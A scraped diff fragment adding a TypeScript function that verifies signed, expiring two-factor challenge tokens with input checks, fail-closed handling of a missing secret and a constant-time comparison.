/** Constant-time; false on any malformed, expired or foreign token. */
|
|
56
|
+
export function verifyTwoFactorChallenge(
|
|
57
|
+
email: unknown,
|
|
58
|
+
token: unknown,
|
|
59
|
+
now: number = Date.now(),
|
|
60
|
+
): boolean {
|
|
61
|
+
if (typeof email !== 'string' || !email || typeof token !== 'string') return false
|
|
62
|
+
const separator = token.indexOf('.')
|
|
63
|
+
if (separator <= 0) return false
|
|
64
|
+
|
|
65
|
+
const expiresAt = Number(token.slice(0, separator))
|
|
66
|
+
if (!Number.isSafeInteger(expiresAt) || expiresAt <= now) return false
|
|
67
|
+
|
|
68
|
+
const received = token.slice(separator + 1)
|
|
69
|
+
if (!/^[0-9a-f]{64}$/i.test(received)) return false
|
|
70
|
+
|
|
71
|
+
let expected: string
|
|
72
|
+
try {
|
|
73
|
+
expected = sign(email, expiresAt)
|
|
74
|
+
} catch {
|
|
75
|
+
return false // no secret configured — fail closed
|
|
76
|
+
}
|
|
77
|
+
const a = Buffer.from(expected, 'hex')
|
|
78
|
+
const b = Buffer.from(received.toLowerCase(), 'hex')
|
|
79
|
+
return a.length === b.length && timingSafeEqual(a, b)
|
|
80
|
+
}
|